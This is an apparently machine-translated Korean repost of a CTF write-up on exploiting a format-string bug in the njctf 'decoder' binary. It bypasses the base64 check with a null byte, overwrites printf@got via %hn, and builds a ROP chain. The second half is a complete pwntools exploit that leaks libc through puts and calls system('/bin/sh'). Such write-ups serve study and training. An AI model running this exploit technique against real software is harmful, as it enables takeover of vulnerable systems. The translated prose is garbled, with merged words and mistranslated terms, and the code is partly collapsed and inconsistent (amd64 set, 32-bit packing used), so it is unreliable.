포맷 문자열 빈틈 실전의 njctf-decoder 활용

3579 단어
전언
포맷 문자열의 빈틈도 비교적 흔히 볼 수 있는 빈틈 이용 기술이다.ctf에도 자주 등장한다.
본고는 njctf 오프라인 경기의 한 문제를 예로 삼아 실전을 진행한다.
제목 링크:https://gitee.com/hac425/blog_data/blob/master/decoder
본문
절차의 절차는 다음과 같다.
일부 함수는 이미 표시되어 있으며 프로그램이 출력한 알림 정보를 보면 이것이 base64 디코딩된 프로그램임을 알 수 있다. 그리고 + 디코딩에 사용되는 함수를 base64 방식으로 찾을 수 있다.
이 프로그램의 빈틈은 base64 디코딩된 문자열을 snprintf 직접 전송하여 format 처리하고 빈틈을 포맷하는 데 있다.
포맷 열을 통해 임의로 쓰기/임의로 읽을 수 있지만, 여기서 포맷을 한 번 하면 프로그램 끝까지 내려갑니다.그래서 여기서 나는 수정printf@got의 값을 rop gadgets로 하고 진행한다rop.
앞에 check도 주의해야 한다. base64의 포맷 규범에 만족하지 않는 문자열은 빈틈을 촉발할 수 없다.하지만 우리는 이것들을 돌아갈 수 있다check.
프로그램 프로그램이 입력을 가져올 때 사용하는 것은 read 함수이지만, 뒤에 있는 base64_checkbase64_decode가 사용하는 입력의 길이는 모두 strlen로 가져옵니다.strlen는 검색\x00을 통해 문자열의 길이를 정하고 read을 통해 \x00를 입력할 수 있기 때문에 우리는 정상base64 뒤에 \x00를 붙이고 rop chain를 배치하면 된다.빈틈을 촉발할 때printf 함수가 아직 호출되지 않았기 때문got표에 저장된 값은 의 값을 거치지 않았다.
창고 안의 base64 문자열을 돌기 위해서는 add espgadgets를 사용할 수 있는 ROPgadget가 필요합니다.0x08048b31printf@got의 값이 2바이트의 차이만 있기 때문에 %hn를 사용하면 두 바이트를 쓸 수 있다. 쓴 데이터는 0x8b31, 주소는 0x0804B010이다.
%35633c%7$hn

그리고 뒤에 printf를 호출하면 rop chain에 들어갑니다. 먼저 rop 호출puts을 통해 프린트read@got 유출libc그리고 다시 빈틈을 터치하여 방금leak의 데이터로 배치rop 호출system('/bin/sh')최후strlen에 우리가 입력할 수 있다면\x00의 반환값은 우리가 제어할 수 있다.
부분 수정got을 통해 실행rop을 하고 뒤에 호출된 함수에 주의해야 한다.
마지막exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')


p = process("./decoder")

gdb.attach(p, '''
b *0x08048C29
# b *0x08048C4E  
b *0x08048b31
# b *0x8048c5f  
c

    ''')

pause()


printf_got = 0x0804B010
read_got = 0x0804B00C

puts_plt = 0x08048520

main_addr = 0x08048B37



s = '%35633c%7$hn'
payload = base64.b64encode(s)
payload += "\x00"  # pass check
payload += "A" * 3 # padding
payload += p32(printf_got) # addr to write
# payload += cyclic(40) # find ret eip offset
payload += cyclic(28)   # padding for eip

payload += p32(puts_plt)
payload += p32(main_addr) # ret addr, ret to main, again
payload += p32(0x0804B00C)  # addr to leak

p.sendline(payload)

p.recvuntil("THIS IS A SIMPLE BASE64 DECODER
") read_addr = u32(p.recv(4)) libc_addr = read_addr - 0xd5af0 system_addr = libc_addr + 0x3ada0 sh_addr = libc_addr + 1423787 log.info("system: " + hex(system_addr)) log.info("/bin/sh: " + hex(sh_addr)) s = '%35633c%7$hn' payload = base64.b64encode(s) payload += "\x00" # pass check payload += "A" * 3 # padding payload += p32(printf_got) # addr to write # payload += cyclic(40) # find ret eip offset payload += cyclic(28) # padding for eip payload += p32(system_addr) payload += p32(main_addr) # ret addr, ret to main, again payload += p32(sh_addr) # addr to leak p.sendline(payload) p.interactive()

전재 대상:https://www.cnblogs.com/hac425/p/9416815.html

좋은 웹페이지 즐겨찾기